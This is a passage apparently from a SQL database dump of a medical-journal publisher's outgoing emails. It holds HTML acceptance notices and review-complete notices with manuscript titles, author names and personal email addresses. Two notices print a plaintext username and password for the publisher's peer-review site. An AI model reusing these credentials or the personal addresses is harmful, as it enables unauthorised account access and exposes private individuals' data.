href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/annals-of-clinical-and-laboratory-research.html\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ebodzewan@gmail.com',14029,'2023-08-28',984),(4225,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-14026</b><br />\r\n            <br />\r\n            Article Title: <b>Guava-A wonder Fruit</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Verma</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-09-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bochemistpriyanka@gmail.com',14026,'2023-09-01',48),(4226,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-14030</b><br />\r\n            <br />\r\n            Article Title: <b>Knowledge sharing practice and associated factors among health professionals in Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Workie Demsash</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-09-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','addisalemworkie599@gmail.com',14030,'2023-09-25',48),(4227,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-14047</b><br />\r\n            <br />\r\n            Article Title: <b>HEALTH BENEFITS OF CRANBERRIES: AN IN-DEPTH OVERVIEW</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>TIWARI</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-09-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','shashank6889@gmail.com',14047,'2023-09-27',48),(4228,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-14058</b><br />\r\n            <br />\r\n            Article Title: <b>Air pollution and perceived health threats on the students\' in off-campus accommodation in tertiary institutions in Edo State Nigeria  </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Akinnubi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-09-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','fakinnubi@oauife.edu.ng',14058,'2023-09-28',48),(4229,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-14061</b><br />\r\n            <br />\r\n            Article Title: <b>Assessment of physical activity and dietary practices of institutionalized  adolescent students staying in hostel</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mishra</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-09-29</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sunitabbau@gmail.com',14061,'2023-09-29',48),(4230,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-14083</b><br />\r\n            <br />\r\n            Article Title: <b>The serial accumulator</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Nilo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-10-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','davide.nilo@studenti.unicampania.it',14083,'2023-10-03',48),(4231,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-14084</b><br />\r\n            <br />\r\n            Article Title: <b>A case of myasthenia gravis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Nilo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-10-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','davide.nilo@studenti.unicampania.it',14084,'2023-10-03',48),(4232,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-23-14095</b><br />\r\n            <br />\r\n            Article Title: <b>Cancer Epidemiology in Pakistan.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Usman Rashid</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof&nbsp; within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','muhammadkhanhu277@gmail.com',14095,'2023-10-10',85),(4233,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-14030</b><br />\r\n            <br />\r\n            Article Title: <b>Knowledge sharing practice and associated factors among health professionals in Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Workie Demsash</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-10-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','addisalemworkie599@gmail.com',14030,'2023-10-13',48),(4234,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-14030</b><br />\r\n            <br />\r\n            Article Title: <b>Knowledge sharing practice and associated factors among health professionals in Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Workie Demsash</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-10-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','addisalemworkie599@gmail.com',14030,'2023-10-13',48),(4235,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-14030</b><br />\r\n            <br />\r\n            Article Title: <b>Knowledge sharing practice and associated factors among health professionals in Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Workie Demsash</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-10-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','addisalemworkie599@gmail.com',14030,'2023-10-13',48),(4236,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-14105</b><br />\r\n            <br />\r\n            Article Title: <b>Characteristics of major complications related to continuous epidural anesthesia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Abbas</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-10-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','aagaag31@yahoo.com',14105,'2023-10-31',48),(4237,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-23-14085</b><br />\r\n            <br />\r\n            Article Title: <b>CANDIDURIA IN THE PATIENTS VISITING AT KATHMANDU MODEL HOSPITAL, NEPAL</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/health-science.html\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Man Amatya</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-10-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/health-science.html\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mahaju@gmail.com',14085,'2023-10-31',48),(4238,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-23-14284</b><br />\r\n            <br />\r\n            Article Title: <b>Giant congenital paraovarian cyst presenting with dyspeptic symptoms</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Nizameddin Koca</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-23-14284</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',14284,'2023-11-18',85),(4239,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-23-14284</b><br />\r\n            <br />\r\n            Article Title: <b>Giant congenital paraovarian cyst presenting with dyspeptic symptoms</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Koca</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2023-11-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof&nbsp; within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','nkoca@yahoo.com',14284,'2023-11-21',85),(4240,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-23-14309</b><br />\r\n            <br />\r\n            Article Title: <b>Assessing the efficacy of ayurvedic therapeutic intervention in the management of Pakshaghata(Paraplegia)-A Case Study</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Rishu Sharma</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-23-14309</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.itmedicalteam.pl/peer-review-tracking/\">https://www.itmedicalteam.pl/peer-review-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',14309,'2023-11-29',85),(4241,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-23-14309</b><br />\r\n            <br />\r\n            Article Title: <b>Assessing the efficacy of ayurvedic therapeutic intervention in the management of Pakshaghata(Paraplegia)-A Case Study</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sharma</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof&nbsp; within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.itmedicalteam.pl/archives-of-medicine.html\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dr.rishusharma8393@gmail.com',14309,'2023-11-29',85),(4242,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">IT Medical Team</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-23-14334</b><br />\r\n            <br />\r\n            Article Title: <b>Chest Wall Tumor - An Unusual Presentation</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mehwish Aslam</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-23-14334</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a 